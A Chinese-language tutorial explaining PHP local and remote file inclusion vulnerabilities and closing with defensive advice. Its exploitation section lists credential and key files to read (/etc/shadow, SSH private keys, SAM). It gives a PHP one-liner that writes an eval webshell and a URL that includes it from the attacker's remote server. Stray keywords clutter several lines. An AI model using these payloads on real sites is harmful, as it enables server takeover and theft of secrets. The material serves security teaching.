Web安全 - 文件包含漏洞

File Inclusion

1、原理

程序開發人員通常會把重複使用的函數寫到單個文件中,須要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程通常被稱爲文件包含。
經過函數包含文件時,因爲沒有對包含的文件名進行有效的過濾處理,被攻擊者利用從而致使了包含了Web根目錄之外的文件進來,就會致使文件信息的泄露甚至注入了惡意代碼。php

文件包含相關函數:include()include_once()require()require_once() mysql

include():只有代碼執行到該函數時纔會包含文件進來,發生錯誤時只給出一個警告並繼續向下執行。
include_once():和include()功能相同,區別在於當重複調用同一文件時,程序只調用一次。
require():只要程序執行就包含文件進來,發生錯誤時會輸出錯誤結果並終止運行。
require_once():和require()功能相同,區別在於當重複調用同一文件時,程序只調用一次。

2、分類

1. 本地文件包含 LFI

當被包含的文件在服務器本地時,就叫本地文件包含。web

2. 遠程文件包含 RFI

當被包含的文件在第三方服務器時,就叫遠程文件包含。
須要開啓 php.ini 中的allow_url_fopenallow_url_includesql

3、利用

一、直接進行文件的遍歷讀取(讀取敏感信息):shell

Windows:
C:\boot.ini  //查看系統版本
C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
C:\Windows\repair\sam  //存儲系統初次安裝的密碼
C:\Program Files\mysql\my.ini  //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD  //mysql root
C:\Windows\php.ini  //php配置信息
C:\Windows\my.ini  //mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz
...

二、解析符合php規範的任何文件(本地包含配合文件上傳):
能夠利用文件包含函數能夠解析任何符合PHP規範的文件的特性,結合文件上傳獲取webshell。bash

利用過程:
(1) 上傳Web應用指定類型的文件,如:shell.jpg(須要確認文件上傳後的絕對路徑)
<?fputs(fopen("shell.php","w"),"<?php @eval($_POST[topo]);?>")?>
(2) 使用文件包含漏洞,直接解析上傳的非php後綴的文件,獲取webshell。
訪問URL:http://www.xxx.com/index.php?page=./shell.jpg 在本地生成shell.php服務器

三、遠程包含Shell
(1) 先寫一個test.txt文件,保存在本身的遠程服務器yyy上,內容以下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[topo]);?>")?>
(2) 則能夠經過訪問:http://www.xxx.com/index.php?page=http://www.yyy.com/test.txt
則會在服務器根目錄下生產一個shell.phpssh

4、防護

  1. 嚴格檢查變量是否已經初始化。
  2. 嚴格判斷包含中的參數是否外部可控。
  3. 基於白名單的包含文件驗證,驗證被包含的文件是否在白名單中。
  4. 儘可能不要使用動態包含,能夠在須要包含的頁面固定寫好,如:include("func.php")。
  5. 對全部輸入提交可能包含的文件地址,包括服務器本地文件及遠程文件,進行嚴格的檢查,參數中不容許出現../之類的目錄跳轉符。
  6. 能夠經過調用str_replace()函數實現相關敏感字符的過濾,必定程度上防護了遠程文件包含。
相關文章
相關標籤/搜索